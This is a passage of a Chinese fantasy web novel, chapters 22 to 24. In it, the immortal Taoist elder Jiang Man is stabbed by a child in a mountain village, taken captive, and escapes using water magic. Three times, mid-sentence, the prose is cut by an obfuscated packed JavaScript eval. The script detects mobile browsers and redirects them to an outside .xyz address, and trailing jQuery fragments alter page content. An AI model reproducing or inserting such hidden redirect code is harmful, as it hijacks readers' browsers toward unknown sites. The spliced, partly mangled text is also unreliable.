这五方镜倒是好说,集齐五行后,未必需要五个人才能成法,毕竟之前的李妆娇并未入幻,不过这布袋子,到底怎么才能装下那些抽象的东西? 老怪物化成了水,不知是死是活,问是不可能问了,只能试。 姜满在屋子里研究着布袋子,程书韫和张云汉在屋外帮大娘收拾桌子,洗碗打扫,尽管语言不通,但这两人勤快,和主人家相处的很好。 忙完后,大家回到了正屋,一直坐着的李妆娇唉声叹气不止,的确有些烦人。 大娘像是忽然想到了什么,叽里咕噜的说着什么,见几人茫然的眼神,大娘又拿起了程书韫的手,做了个把脉的姿势,然后指了指外面。 程书韫明白了大娘的意思,村里应该是有大夫的。 眼下他们五个人里,李妆娇显然是心理问题,但的确还有个病号,薄临,要是有大夫来看看能让他早些醒过来也好,不然总背着实在是累赘,再者说,这些钱都是他的,放着他不管实在说不过去。 因为不放心李妆娇,怕她在这儿又搞出什么事,张云汉留了下来,程书韫跟着大娘出门去到了村里。 这山村不大,整个村子座落在一个上坡,有石砌的台阶呈螺旋状往上,村路不宽,家家户户都挨得很近,他们几个住的那户人家在进村不远的地方,现在,程书韫正跟着大娘往上走。 偏僻的村子大多数都是自给自足的,村民靠山吃山,自己家院子里也有养牲口,还有些看家护院的狗子出没,它们白天都是放养的,到处跑,自由自在。 程书韫的目光被一只黄黑色毛发的大狼狗吸引,它低着头在墙边一堆草里闻着,然后转了个圈,抬起后腿撒了泡尿。 她想到了阿福,如果阿福和他的爸爸能住在这种远离复杂人性的山村,或许会幸福快乐的过完一生吧! 大娘注意到了程书韫的目光,看向那条狗,忽然像是想起了什么,拉着程书韫往一户人家去,那狗子好像认得大娘,在程书韫脚边闻着,跟二人一起来到了这户人家房门前,然后它从墙边的狗洞钻了进去。 程书韫不明所以,她实在听不懂大娘说什么,即便她已经很认真的在听了。 大娘也很着急,赶紧敲了门,半晌,有个蓬头垢面的男人磨磨蹭蹭打开了门。 这男人不修边幅,但看起来年纪不大,他打开门看到大娘,又看了看程书韫,似乎明白了什么。 “你是,从外面来的?” 这人说得一口标准普通话,叫程书韫有些惊讶。 没等程书韫回答,大娘和他叽里咕噜一番对话,男人胡须凌乱的脸上露出了笑容,然后朝程书韫摊开手,“给钱吧,我做你们的翻译,这落洞村现在除了我,没人会说官话。” 22. 第一座山(22) 姜满走出屋子的时候,张云汉正端着一盆水到李妆娇面前,他出于好心,满足了李妆娇的“命令”,给她端盆水洗脸,可李妆娇似乎对水温不太满意,挥手就打翻了水盆。 水洒了一地,张云汉正要生气,却看到了走出来的姜满。 “大长老,您这么快就休息好了?书韫妹妹跟着大娘去请这村子的医生了,薄临额头受伤昏迷不醒,还有……这个女人的腿。” 姜满点点头,看向李妆娇,“我们在这个村子待两天,现在是下午一点半,我给你一个小时的时间,你可以选择:要么,你自己主动忏悔,赎罪;要么,我来帮你。” 此刻的李妆娇像一个真正的失血过多的人,声音有气无力,但仍然趾高气昂,“好笑,我为什么要忏悔赎罪!向来都只有别人对不起我,比如你们!” 她语气不好,但听起来的确不觉得自己有什么罪。 其实姜满原本也懒得去给她什么机会,但她知道,做了恶事的人主动忏悔,心甘情愿的赎罪,怨灵的超度会容易很多。 如果可以,她希望能减轻张云汉的工作压力,毕竟后续工作量,很大。 不过,事与愿违。 “行吧,机会没了。”姜满看向张云汉,“把她背进我刚刚待的房间,然后在外面守好了,别让任何人进来。” 是时候把这个很难让人看顺眼的李妆娇解决了,至于后面的事,还债嘛,得看债主的意思。 张云汉却没动,他心里有点慌。 他不知道大长老要做什么,不过肯定不是什么好事,他是觉得这个李妆娇挺令人讨厌的,但罪不至死呀,仔细想想,这个李妆娇不过是脾气差点儿、说话吵点儿,还有点妄想症,说起来,大长老脾气也挺差的……可这李妆娇现在已经受到惩罚了,在她自己的视角来看,膝盖以下的腿是真断了,现在这样子看起来,还怪可怜的…… 姜满看他不动,有些不耐烦了,“愣着干什么?我不会杀人的,更不可能在这儿杀。” 张云汉眨眨眼,正想问些什么,院门从外面被推开,程书韫和大娘回来了,还带来两个人。 一下子人多了起来,姜满知道,现在不是时候了,人多会影响幻境,这世间生命都有业力,人最甚,业力碰撞,气场就杂,所以,她一向不喜欢人多的地方。 姜满闭了闭眼,走到李妆娇身边,低声说道:“你运气不错,还是按原来说的,给你一个小时,你不记得自己要赎什么罪,我提醒你一下,你身边一直跟着一只鬼,她说……”她凑近到李妆娇耳边,“我叫姚雪菲,我要找李秀娟,报仇。” 李妆娇本就苍白的脸上闪过一丝恐惧,但很快就被她掩饰住了,“别以为你知道个姚雪菲就能骗到我!她的下场都是她自找的,活该!跟我有什么关系?” 程书韫已经走进了正屋,“这是怎么了?你们在说什么?” “没什么。”姜满面色无异地坐在了桌边,倒了碗水喝了一口。 程书韫点点头,“嗯,这两位,一个是大夫,一个是……翻译,我自己不好拿主意,回来问问你们,要不要用这个翻译。” 张云汉献殷勤似的给程书韫也倒了碗水,程书韫没喝,张云汉只能自己喝了起来。 那个蓬头垢面的男人也走了进来,却在看见姜满的瞬间,呆住了。 “吒啊……吒哦……” 他低声呢喃着,说的似乎是方言。 身后的大娘和长着山羊胡的老大夫都听到了他的话,相视一眼,笑了起来,然后说着众人听不懂的方言,不时地还指指姜满。 姜满几人有些莫名其妙地看向这三个村里人,不明所以。 那蓬头垢面的男人一下子变得局促不安起来,伸手梳理了一下乱糟糟的头发,然后用衣服擦擦脸,上前对姜满说,“你好,我叫阿兹日拉。” 他的眼睛很大,此刻看着姜满眼神更是亮晶晶的,小麦色的皮肤,脸颊上有些许雀斑,个子比姜满高一点,和张云汉差不多。 “他们笑什么?还有,你认识我?” 阿兹日拉笑着说:“他们知道你击中了我的心,是的,我对你一见钟情,我有这个荣幸,认识你吗?” “噗——”姜满还没说话,这边张云汉一口水喷了出来,正好喷了李妆娇一脸。 “你做什么?好脏……能给我一块干净的毛巾擦擦脸吗?”虚弱的李妆娇娇嗔起来,朝阿兹日拉伸出手。 她本就不服气,为什么这个男人进来就看上姜满那个贱人,她正愁没机会让他注意到自己,她可比姜满迷人多了! 然而,没有人理会李妆娇。 张云汉赶忙上前拉住山羊胡大夫,另一手拉着阿兹日拉,“不是要看病吗?翻译跟着一起,我们有个同伴伤了脑子,赶紧去看看!” 他心想:薄大少爷,兄弟只能帮你到这儿了,要是不想大长老被这山民抢走,就抓紧醒过来吧! “切,一群乡下土包子!”李妆娇低声嘟囔,心里又气又难受,这个鬼地方她一分钟也不想待,她想回檀州市,她要报警,她不知道自己怎么会这么倒霉,腿也断了,以后只能坐轮椅,穿假肢……不知道阿临会不会因此不能娶她,不知道薄家会不会接受不了一个断了双腿的儿媳妇…… 她越想越伤心,眼泪流了下来。 一块干净的纸巾递到了李妆娇面前,她抬起头,看到了程书韫。 程书韫一如既往的温柔,“妹妹,别难过了,擦擦脸吧!你的腿会好的,只要你乖乖的,不要再故意惹人讨厌,姜满会治好你的。” “什么故意惹人讨厌?那是嫉妒我的人才会讨厌我!” 程书韫叹了口气轻轻摇头,正要离开,李妆娇又叫住了她。 “喂!那个姜满贱人,怎么可能治好我的腿!” 程书韫浅笑着看她,“当然可能,她可以让你的腿完好如初。” 说完,她走到院子里和大娘一起忙活起来。 那两间空屋子,一间在正屋里,是薄临现在待的那间,还有一间在院子里,是姜满刚才待的,要大一些,晚上三个女孩住这间,得收拾起来,铺好床褥,才好休息。 薄临躺在临时用衣服铺的床上,还是没醒,额头的伤口先前被简单处理了一下,裹着纱布。 阿兹日拉在靠门的地方,看着后来的姜满,继续对她说道:“我可以认识你吗?” “姜满。”姜满看了他一眼。 “你叫姜满?那我们算是认识了吧?我可以追求你吗?你愿意嫁给我吗?” 张云汉没回头,耳朵却竖得高高的听着。 这山里人表白也太直接了些,刚认识就求婚啊…… 姜满朝他笑了笑,“恐怕不行,家里人管得严,且我年纪太小,还不打算谈婚论嫁。” 张云汉扭头略显吃惊地看了看姜满,又回过头来。 变脸了变脸了!大长老又开始变脸了。这就是他觉得大长老最恐怖的地方,他以为大长老会发脾气的时候,她偏偏玩变脸还胡说八道,他以为大长老会变脸的时候,偏偏发脾气了…… 他看着山羊胡给薄临把脉,不由地叹了口气。 虽然大长老不会被人骗走,但这小子肩伤还没好,就被大长老当成“提款机”带来这么偏远的地方,如今脑子又伤了,自己家里明明有私人医院,眼下还要依靠这个不知医术如何的山羊胡。 老天保佑,愿他平安。 山羊胡看了脉象,收回手,也叹了口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790668|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “怎么样了?”张云汉看着山羊胡,想起他听不懂,于是又看向阿兹日拉。 还想和姜满说什么的阿兹日拉,这时终于往前两步,听山羊胡说完,对姜满和张云汉说道:“大夫说,你们这位朋友气血两虚,额头的伤和肩伤都不大要紧,但是要好好养生调理,补血养气。” 张云汉听得直撇嘴。 这薄公子不争气啊!一个大男人怎么能气血虚呢? 他看看阿兹日拉虽然有些脏却无比健康的肤色,忍不住又叹了口气。 这边的山羊胡大夫从随身带的挎包里取出一卷皮制小包裹,然后在床板上铺开,里面全是针。 “大夫这是要施针让这位朋友醒过来。”阿兹日拉解释着。 靠在门板上的姜满,确定了这大夫的医术以及薄临的无恙,开口对张云汉说道:“你好好照顾他,我出去一下。” “姜满,你要去哪?我陪你,我可以做你的翻译。”阿兹日拉叫住了她。 姜满朝门外走去,头也不回地摆摆手,“不用,这里比较需要你。” 她从院子里出门,没有留意到身后正屋里面,有一双怨毒的眼睛正死死盯着她。 姜满看了看时间,现在是下午两点不到,这会儿没事,她正好可以去试试能不能看到九黎寨,探探路也好。 那天超度阿福之后的时间已经是凌晨了,巫玄说的三天后就是大暑,也就是今夜十二点之后,那么,这个时候,该来的不该来的,应该都到了。 她顺着石阶,往村子的最高处走去,村子不大,不一会儿就到了最后一栋房子面前。 村子建在山坡上,这房子后面还是山,但是有一条很清晰的小路,姜满小心的顺着小路继续往上,终于来到了山顶。 这儿的虫子是真的多,她不得不小心。 她往九黎寨的方向看去,那边的确有灵能波动,但却并不杂乱,这说明没有别的玄人在那里动手,还真是让人失望。所以目前来看,九黎寨还算是风平浪静,也许所有人都在等她这条“大鱼”。 确定了路线和位置,姜满准备原路返回,然后,她看见了一个躲在树后看她的小脑袋。 是个小女孩,大概六七岁,还没有到姜满的腰高,看打扮应该是村里人的孩子,跑到山上来玩的。 姜满没理她,继续往山下走。 小女孩却追了上来,拉住了姜满的衣服,叽里咕噜的说着什么。 姜满皱了皱眉,指了指自己的耳朵,然后摆摆手,意思是她听不见,是聋的,或者听不懂,随便这小孩怎么理解都行,接着,她试图扒开小孩的手。 小孩却不肯松手,着急地和她说着,好在这小孩还算聪明,猜出姜满听不明白,开始比划起来,指了指自己身后的树,然后做了个鬼脸。 姜满狐疑地打量着小孩,又看向小孩指的方向。 难道有什么东西跟了过来,埋伏在这儿?难道是那个化成黑水的老怪物? 可她什么都没看到,也许是角度问题?她想着,然后蹲了下来,朝小孩指的地方看去。 小孩朝她身边靠近了些,试图让她看见自己指的东西。 就在姜满仔细分辨那堆绿色之中有什么的时候,突然!一个尖锐冰凉的东西深深刺进了姜满的心口—— 小孩朝她甜甜一笑,“大长老,听说你是不死的,所以,我要验证一下,得罪了。”说着,她猛地拔出匕首,鲜血四溅,染红了这张稚嫩的脸庞,配合她的笑容,显得阴森诡异。 姜满猝不及防,瞬间浑身脱力,几乎要瘫软下去,上一次被树枝贯穿,既没有伤到脏器,也有足够的心理准备,尚且都坚持不住,这一次…… 不行!她不能失控,从这儿滚下去会出大事的! 23. 第一座山(23) 山羊胡大夫施完针,没多久薄临就醒了过来,感谢了大夫和翻译,这二人就离开了房间,张云汉和他说了一下大致情况,问及薄临受伤晕倒的原因,薄临说了个相当离谱的经历。 薄临说,他爬上山后,听到异响,抬头却见天上下起了石头雨,那石头往下砸,他躲闪不及,被砸晕了。 满脸愕然的张云汉,想到那时自己看见的,也就觉得一切都很合理了。 正聊着,突然,薄临脸色变了。 “怎么了?”张云汉察觉到他的异常。 薄临好似恢复了平静,“没什么,刚才伤口突然疼了一下,对了,恩人去哪儿了?” 张云汉撇撇嘴,“你可别再叫她恩人了,别说兄弟没帮你,刚刚那个翻译,看到了吗?人跟大长老表白了!第一次见面!上来就是一见钟情!还求婚呢!要不是我机智地岔开——” “她去哪了?”薄临打断了他的话。 张云汉觉得有些不对劲,他仔细看着薄临,却看不出一点问题,且虽是打断了他,语气却是一如既往的温和。 “她,让我好好照顾你,没说去哪儿,就,出去了。怎么了?你找她有事?” 薄临点点头,“对,我有重要的事要和她说,有点急,烦你帮我找她过来。” 张云汉将信将疑,还是点头应下了。 急事,重要的事……说不定,这小子想通了,准备表白! 看着张云汉离开房间,薄临闭上眼,指尖弹出一颗红色的珠子,那珠子砸在了墙缝里一株顽强生长的野草身上,眨眼间,珠子消失了。 野草开始慢慢长大,随着他手指轻轻翻动,一个小孩在星星点点的光影中诞生,出现在他面前。 小孩看不出男女,身上穿着草编的衣服,愣愣的站在原地,半晌,它像是意识到了什么,扑通一声跪倒在薄临面前,磕了几个头,“谢山主恩赐!” 薄临看着它,只说了两个字,“去找。” “是。”小孩跪地俯首,然后消失在屋子里。 薄临面色如常,还是那么苍白又从容,他翻身下床,整理衣服,动作敏捷得完全看不出受过伤的痕迹。 他打开门来到了正屋,此时的李妆娇坐在椅子上,头靠在墙上,似乎又睡着了,其他人也不知去向,屋子里没有别人,薄临并未看她,径自往院中刚刚姜满待过的房间里走去。 姜满的背包放在地上,薄临看向那个背包,不觉有些出神,他知道,这里面有五方镜和乾坤袋。 看着背包,他脸上露出了浅浅的微笑。 骗人不容易,骗她更不容易,张信德,过去你那么喜欢解字,不知道“骗”这个字你当怎么解呢? 薄临拿起一块木柴,在地上写了个“骗”字。骗……跃而上马?不对,你看,这个字分明像是蒙上驴子的眼睛,让它为人所用,因为蒙上眼睛,所以鞭子才能让它一直觉得身后有危险,才能让它意识不到,自己在转圈。 她可不是驴,鞭子也不会让她觉得危险。 他离开了这间屋子,靠在正屋的门边,看向还在睡梦中的李妆娇,然后伸出手,虚空一点,一道淡淡的光影没入了李妆娇的眉心。 这么喜欢睡觉,那就睡久一些吧,也别做什么梦了。 对薄临而言,想要瞒过姜满,代价显然是比较大的,受伤是真的,昏迷是真的,发生一些意外也是难免的,不过这里多的是草,有草灵找人,那些玄人,藏不了多深。 过了一会儿,几乎翻遍整个落洞村的张云汉程书韫和大爷大娘回来了,山羊胡大夫已经回家了。 张云汉神色凝重地告诉薄临,姜满失踪了。 落洞村并不大,发觉找不到姜满后,张云汉程书韫带着阿兹日拉和大爷大娘一起,后来几乎发动了整个村子的人出来找人,然后阿兹日拉放出了他的狗,闻了姜满的东西,寻到了蛛丝马迹,他们在村子上面的山头上发现了大量的血迹,但人还是没有找到。 现在阿兹日拉已经顺着山那头去了,他担心姜满是遇到什么野兽攻击,受了伤然后掉下去了。 但是张云汉心里很清楚,这根本不可能,那可是天一道大长老。 张云汉说得急,薄临静静听完,才告诉他们,李妆娇状态不太好,需要送去就近医院,她昏迷前透露了,是巫玄入了她的梦,于是她在姜满出门的时候,给巫玄的人发出了信号。 所以,姜满被巫玄带走了。 张、程二人心里很清楚,时间还没到,巫玄没理由动手,但巫玄又不止他九黎寨一处,就像同为道玄,张云汉和程书韫也并非同门。 此事还需从长计议。 考虑到李妆娇毕竟是个女孩,程书韫主动提出负责陪同,等到了麓川市联系薄临安排的人来交接,眼下先由张云汉把她们送下山到车上,然后再回来商量姜满的事。 - 姜满睁开眼,大脑一片空白,她瞬间站了起来,来回走了两步,又伸出手,握拳松开,如此反复,之后,她终于松了口气。 她记起自己在最后一刻,用尽全力身体前倾,死死抓住了那个袭击她的小女孩,只为了让自己不滚下去,哪怕摔在原地。 回忆逐渐变得清晰起来,她没有摔倒,林子里又窜出来两个人,身高体型来看是成年人,男女不知,那时候她的意识已经开始模糊了,那两个人把她架了起来,然后…… 她抬起头,这才发觉四周又是雾气蒙蒙。 这是在……梦里? 是的,这个场景她很熟悉,但今天的雾,好像没有那么浓了。 姜满努力地朝雾气中看去,她觉得,那边有人,而且不止一个。 这种感觉很奇怪,在某种意义上来说,他们不算是人,但她就是知道他们是人,可他们没有人的外形,也不是灵体形成的一团,什么都不是,也许哪怕是将一个开了天眼的玄人拉到她的梦境中来看,玄人也会觉得,那边什么都没有。 但她看得见,不仅看得见,也听得到。 这个满是雾气的梦她做过很多次,即便在天一疗养院断了那么久,她也记得很清楚,眼前这是第一次,她看到了那些声音。 不再是模糊的人影,也不再是无休止的争论、叫喊、哭泣。 姜满猜测,也许是因为她的“超度”成功了,所以,这个只和[空]有关的大雾之梦,发生了变化。 此刻,“他们”很安静。 像是在等待着她,可她不知道,他们在等她做什么。 奇怪的感觉一直存在,此刻也是,她很确定,他们在等她,类似一种抽象的概念,来自人类叫做强迫症的心理感受,把这种感受变成具象的存在,不仅仅是完成某种对和谐或完美的诠释,而是把为什么会有这种需求,变成具象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798421|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 好吧,即便掌握人类语言近五十年,看了不计其数的书,姜满依旧觉得,有些时候,语言在她身上无比匮乏,她时常无法形容她的“知道”,这种“知道”好像只属于她,像是一种异类的语言,就像人不能完全理解动物、昆虫、植物等等生命体的认知。 姜满没有说话,也没有动,她本能的感觉,应该再等等。 可是,她不应该在这里,她应该立刻醒来!她必须知道梦境之外发生了什么,好不容易有了起色,如果这一次又成[空]……也许以前的她也找到过破除诅咒的答案,可是成[空]就什么都没有了,一切从头,就像永无止境的怪圈。 不行,她必须醒过来。 无论在梦境还是幻境,苏醒的方式对她而言都很简单,自杀即可。 寻常人死在异境,可能会迷失,可能会再也回不到现实世界,但姜满不会,所以,她的长生,或许真的与身体没什么关系。 袭击她的那个小女孩八成是玄人了,她不怕他们杀她,也不怕什么夺舍,她只怕自己成[空]。 她从脖子上取出坠在胸前衣服里的吊坠,这就是天一道的掌门印。 天一道,“天一生水,地六成之”,出自《洛书》,意指辰星与日月会聚。北方水,其帝颛顼,其丞玄冥,其神上为辰星。天一道的掌门印,就是一块小小的玄冥图腾。 玄冥,水神,人面鸟身,两耳悬青蛇,两脚踏赤龙。 这吊坠上的玄冥并没有这么多加持,吊坠约拇指指甲大小,通体漆黑,整体形状近圆,上面雕刻着人面鸟身的玄冥,无蛇无龙,可御水,随心不随身,可幻化形貌。 所以,姜满会用这个完成苏醒。 她不知道这个掌门印到底是哪来的,四十多年前,她从阿克里木湖顺流而下,在岸边醒来之时,这东西就挂在她脖子上了。 这也是为何张信德会如此执着她的身世,她又是为何会从西疆来到檀州市的缘故。 天一道掌门印躺在姜满掌心,下一瞬,变成了一把匕首,和之前小女孩刺进她心口的匕首,如出一辙。 说来也好笑,这么好用的法器,如今在她手里,只能用来伤自己。 就在她把刀锋对准自己心口准备刺下的时候,耳边忽然传来了细微的铃铛声,也许不是铃铛,像是那种银饰碰撞出来的声音,很小,但很清脆,模模糊糊的,近似幻听。 姜满皱了皱眉,收回掌门印,闭上了眼睛。 耳边声音逐渐变得嘈杂,如同长久的静谧后,一丝风吹草动都是那么的吵,而后这一切又归于宁静。 “……就是她?还真有点像……” 一个女人的声音在姜满耳边响起,伴随着银饰晃动。 好冷的地方…… 姜满缓缓睁开眼。 四周昏暗,但可以视物,却不知为何,她觉得自己的视线很模糊,她的手脚被缚,好像是绑在了一个架子上,眼前有两个人。 一个男人,年约四十不到,穿着藏青色夹彩绣的裙褂,脖子上有几圈老银颈饰,看起来很重,短发,无须。 还有一位站得远些的姑娘,身着暗彩满绣裙褂,一身银饰环佩叮当,头戴彩布盘头,坠了一圈银制流苏,模样…… 姜满愣住了。 这张脸,怎么会和自己的脸,这么像?几乎可以称为……一模一样。 24. 第一座山(24) 那个长相几乎与姜满一模一样的姑娘看见姜满睁开了眼,遂背过身去,“好好试试她。”她的声音轻如私语,说完,便消失在黑暗中。 姜满用力闭了闭眼,看向那身影消失的一片黑暗,她甚至怀疑自己刚刚是出现了幻觉。 “醒了?”那个男人看向了她。 姜满没有说话,环顾四周后,静静看着那个男人。 这是一间不大的暗室,空荡荡的,她的小挎包被放置在了墙角,整间暗室方方正正,四面都是铁墙,密不透风,仅有天花板上一个像是排风扇的窗口透进一点点光,阴风阵阵,死气沉沉,连个鬼影子都没有,让人很没有安全感,但,这却让姜满很有安全感。 这地方对她而言,没有任何“威胁”,除了面前这个男人,这里不存在任何记忆体。 “天一道大长老,姜满,四十三年前冬,于西疆拉尔塔格金山矿区‘失手’杀死一名成年男性,入米苏监狱服刑的第十年,被天一道接走,自此音讯全无,约半月前,离开天一道,模样与三四十年前分毫不差,后,在紫微山路发生交通事故,胸口被木枝贯穿,却毫发无损,连一丝疤痕都没有留下。”男人朝她走近,“今天,阿翘的匕首明明刺进了你的心脏,不出半个小时,外部伤口就完全愈合了……姜满,你还真是让人惊喜啊!” 姜满仍没说话。 从这个男人的穿着打扮来看,应该是巫玄,但他对她入天一道的时间线这么清楚,显然,不是因为那条视频才找上来的,他,或者说他们,关注她很久了,甚至有可能,比这个男人的年纪还久。 “你为什么不说话?” 姜满笑了笑,“话都被你说了,还要我说什么?” 此刻,她整个人呈大字型,手脚被约束带紧紧地绑在一个架子上,只有脑袋能动。 男人盯着她看了很久,然后扬起下巴,说:“我劝你老实说出你是如何修得长生的,把长生之法的秘密一字不差地告诉我!否则,即便你不死,我也有办法让你生不如死!我倒是很好奇,长生者断了手脚,或者断了头,还怎么长生?” 姜满垂下眼眸,“原来你想知道的是这个?没问题啊,但是,我告诉你了,你,有权放我走吗?” 男人闻言一愣,他自然是没有权力轻易放人的,但他很快反应过来,轻蔑地看向姜满,“走?现在的你,没有资格和我谈条件。” 姜满颇以为然地点点头,“你说得对,不过你也知道,这个长生之法可不是三言两语能说完的。”说着,她做了个艰难吞咽的动作,“我渴得厉害,你能给我喝点水吗?” 这男人警惕的打量着姜满,这张脸在他看来颇具威慑力,但显然,面前这个人不是他畏惧的那个人,而且,一杯水而已…… “等着。” 他转过身去,走向黑暗。 咔哒一声,他打开门锁的声音传来,姜满听到,他出去了,然后没多久,又一扇门打开的声音,远远的传到姜满的耳朵里。 嗯,这里有门,两扇门,是铁门,外面那扇要重一些,虽然不需要钥匙,但开门一定有声音,那刚才她看见的那个和她长得一样的女人,是怎么出去的?分明一点声音也没有。 姜满很确定,她没有听到那个女人离开的动静,但显然,那个女人也不可能还在这儿。 没有什么能瞒过她的眼睛。 不管怎么样,她没有时间在这里耽搁,即便她有,张云汉也未必有,超度怨灵的可行性实验近在眼前,她需要回去,把李妆娇和怨灵姚雪菲都带入五方镜的幻境,然后将记忆装进那个布袋子。 如果可以直接提取记忆,那么,这件事数量上的难度将不再是问题。 不论那个布袋子是为什么会送到她手里,只要有用,何必管那么多,等她解决了[空]的诅咒,这世上还有什么是她会怕的? 瞎眼老妖怪没骗她,载体的确不必是蘑菇,这布袋子也的确是宝贝,但正如老妖怪的那个白蘑菇梦境,一个载体能装的东西很有限,姜满尝试把与阿卓有关的一部分记忆放了进去,载体是一颗核桃。 核桃放进去后,就像消失了一样,从外面看也好,把布袋子翻过来看里面也好,像是什么都没有,但只要伸手进去,心里想起那段记忆,就能找到它。 只是可惜,她必须知道那些记忆才能取出来,原本她还以为可以依靠这个布袋子,对抗[空]。 没过多久,最外面那扇门打开的声音传来,那个男人回来了。 男人打开门,从黑暗中走来,手中拿着一瓶矿泉水,他拧开瓶盖,递到姜满嘴边,“喝吧。” 姜满笑着看向他,声音暖暖的,“谢谢,你特地为我找来了水,证明,你不坏,是个好人。” 男人听见这话,先愣了两秒,然后倒有些不乐意了,“你说什么都没用!你要是喝完水不老实交代该交代的,我还是会砍断你的手脚!” “嗯,我相信。”姜满偏开头,没喝那水,“先把水放下吧,我告诉你长生之法,但是我不想让别人知道,所以,你靠近点,我只愿意告诉你一个人。” 男人看了看姜满,有些狐疑,“真的?你是不是想耍什么花招?” “我没理由骗你,我手脚都被绑在这铁架子上,就算你不在我也逃不出去,不是吗?” 男人眨了眨眼,心想滴水之恩涌泉相报,看来,他这瓶水取得很值。 他把矿泉水放在地上,靠近姜满,矮下身子,把耳朵凑到她面前。 姜满微扬嘴角,对着他的耳朵,用极轻的声音说道:“所谓长生之法,就是顺应天道,天道,即物竞天择,适者生存,比如……你这样的人,对我,根本不存在任何威胁——” 砰! 男人脸色一变,还没来得及站直离远,姜满一记重重的头锤袭来,他瞬间觉得耳鸣不止,晕头转向,身体失去平衡,然后栽倒在地。 他本能地伸手摸向姜满撞向的地方,粘糊湿漉,竟然出血了。 这时,挂在姜满胸前的掌门印腾空而起,凌于姜满眼前,紧接着,一阵灵能荡漾开来,地上的水从透明的瓶子里呈条状,被引入半空,然后形成两缕,再分化为四,下一瞬化作锋利无比的水刃,朝缚住姜满手脚的约束带而去! 哗—— 约束带被割开,姜满恢复自由身,然后收回术法,水刃瞬间失去力量,洒在了地上,留下几滩水渍。 她揉了揉手腕,转了转脚踝,居高临下地看着那个男人,“矿泉水瓶我会带走,你头上的伤是留给你向你上面的人交代的,算是谢你愿意给我取水,我这人向来不喜欢欠人情,另外,你也无需自责,就算你不取水来,你也该知道,人体百分之六七十,都是水,而我,是天一道最会玩水的,大长老。” 男人勉强支起身体,半跪在地,心里气极却无能为力,姜满这一撞实在是太重了,他甚至听不清她的声音。 姜满并没立刻离开,她伸手擦了擦自己额头上不知是他的还是自己的血,这一记头锤她没用全力,她怕这人会被她撞死,但显然,即便有所收敛,她的力量也超乎寻常,所以自己也受了伤,不过,她的伤一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802559|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向可以忽略。 “好了,现在你也该清醒了,欠你的债已经算清,该算算你欠我的了。” 她蹲地捡起被水刃割断的约束带,然后转身套在了那个男人的脖子上,起身反手拉紧,用膝盖顶住男人的后背,“你是九黎寨的?你们抢走的灵在哪儿?” 男人毫无反击之力被扼住命门,面上满是不服,听到姜满的话,如同受到了莫大的侮辱,“九黎寨?那算是个什么东西?呸!不过是一群小偷!我怎么可能来自那种下三滥的地方!何况哪儿还有什么……” 最后一句,他的声音说得很轻。 姜满并未在意,噗嗤一下笑出声来,“小偷?你这个说法我很喜欢,不过,你们为了让人降低戒心,培养一个孩子做玄人,教唆她捅人刀子,你们不下三滥吗?” 男人一时哑然,旋即愤而骂到,“你这个狡猾的女人!少说废话!你跑不掉的,我劝你束手就擒!还能少受些罪!” “说吧,你们到底是什么东西?想干什么?”姜满罔若未闻。 “你杀了我吧!我什么都不会说的。”那男人闭上眼睛,像是等着姜满勒断他的脖子。 “嗯,还算是个有原则的人,我不杀你。”姜满笑了,手上一松,约束带的一头掉了下来,离开了男人的脖子,垂在她手中,而后她放下抵在他后背的膝盖,拽住男人手臂,反向一拉,把他拖到十字铁架下面,三两下,将他的双手牢牢反绑在了铁架上。 男人似乎还没反应过来,他完全没料到,他竟然被一个看起来二十岁不到的小丫头拿捏了! “你一个女人,力气怎么这么大?” “女人为什么不能力气大?” 姜满拿起矿泉水瓶,走到墙角拿起她的包,然后朝黑暗中的门走去,到了门边,她停住脚步,回头问道: “最后一个问题,随便你回不回答。刚刚我醒来之前,那个和你说话的姑娘,是谁?” 男人沉默片刻,抬头看她,轻声说:“知道得太多,对你一点好处也没有……但是,因为你的脸,我可以告诉你。” 他的声音更低了些,“她是真仙,众玄王母,万岁真仙。” “仲玄?王母?”姜满低声重复,她并不知道自己听错了同音字,然后她不再看他,手握在了冰凉的门把手上,“多谢告知。” 说罢,她旋开把手,推门而出。 姜满从未听说过仲玄这个玄人门派,她也不信什么真仙,事实上,她只是对那个女人的长相有些惊讶,而且根据这男人的话来看,那个女人不是幻觉,也的确和她长得很像。 不过,惊讶归惊讶,只要别再来惹她,又关她什么事呢? 她推开另一扇门,离开了这里。 确定姜满离去,被绑在铁架下的男人却松了一口气。 黑暗中,银饰碰撞的声音再度响起,那个穿着暗彩满绣裙褂的姑娘又出现了,她从黑暗中走来,站在男人的面前,垂着眼眸,声音里没有语气,“你需要反省,在此,三天。” 